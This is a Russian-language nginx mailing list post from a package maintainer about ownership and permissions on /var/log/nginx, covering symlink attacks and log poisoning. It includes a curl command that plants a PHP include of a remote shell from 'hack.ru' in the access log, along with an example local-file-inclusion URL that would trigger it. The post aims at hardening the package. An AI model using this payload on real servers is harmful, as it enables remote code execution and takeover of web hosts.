/var/log/nginx
Gena Makhomed
gmm на csdoc.com
Вт Дек 14 21:05:34 MSK 2010
Здравствуйте!
есть небольшие проблемы с /var/log/nginx
1. если владелец этого каталога nginx:nginx,
и права доступа 0700 - такая установка будет уязвима
к symlink attack, потому что лог-файлы в этом каталоге
master-процесс открывает на запись при запуске nginx
и он не делает никаких проверок symlink это или нет.
2. если владелец этого каталога root:root,
и права доступа 0755 - такая установка будет уязвима
к атаке "php local file inclusion vulnerability
elevation to remote code execution":
# curl -A "<? include 'http://hack.ru/shell.php'; ?>" http://t/
# tail -n 1 /var/log/nginx/access.log
10.10.10.10 - - [14/Dec/2010:19:34:24 +0200] "GET / HTTP/1.1" 200 15777
"-" "<? include 'http://hack.ru/shell.php' ?>"
и если запущенный на хосте PHP можно каким-то путем заставить сделать
include этого локального файла - выполнится код с удаленного сайта.
например, http://site.ru/index.php?file=/var/log/nginx/access.log
код "<? include 'http://hack.ru/shell.php' ?>" приведен только
для примера, на самом деле, там может быть любой php-код, который
будет работать даже в случае если параметр allow_url_fopen = Off
3. если владелец этого каталога root:nginx,
и права доступа 0750 - на первый взгляд всё нормально,
однако если php-fastcgi входит в группу nginx,
или пользователь httpd входит в группу nginx,
то будет тот же результат, что и в п.2 - так что
это решение можно назвать ненадежным и частичным.
=========================================================================
хотелось бы услышать советы / рекомендации автора и разработчиков nginx
как именно лучше всего будет поступить maintainer`ам в этой ситуации:
- выставить на каталог владелец / права root:nginx 0750
и смириться с тем, что это решение не является 100%-ым,
потому что одновременно надо чтобы слишком много условий
совпало для того чтобы получить vulnerability elevation.
- пропатчить nginx чтобы master-процесс не открывал на запись файлы,
если это на самом деле symlink`и, чтобы устранить его восприимчивость
к symlink attack в этом случае и во всех остальных подобных случаях.
(если это symlink и файл надо открыть на запись - тогда unlink symlink)
- или какой-то другой вариант решения, чтобы получить 100% надежность.
--
Best regards,
Gena
Подробная информация о списке рассылки nginx-ru